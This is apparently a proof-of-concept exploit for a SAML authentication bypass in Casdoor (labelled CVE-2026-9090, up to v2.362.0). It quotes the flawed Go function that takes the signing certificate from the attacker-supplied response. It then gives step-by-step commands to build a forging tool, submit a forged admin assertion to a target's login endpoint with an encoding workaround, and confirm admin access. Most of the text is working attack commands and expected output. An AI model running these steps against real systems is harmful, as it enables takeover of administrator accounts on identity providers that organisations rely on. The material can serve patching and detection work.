// object/saml_sp.go  (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
    certEncodedData := ""
    if samlResponse != "" {
        certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
    } else if provider.IdP != "" {
        certEncodedData = provider.IdP
    }
    ...
    certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}

go mod init cve-2026-9090-poc      # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go

# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
  --nameid [email protected] \
  --acs      http://TARGET:8000/api/acs \
  --audience http://TARGET:8000/api/acs \
  > forged.b64

# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
#    url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
  "http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
  -H 'Content-Type: application/json' \
  -d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}

# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'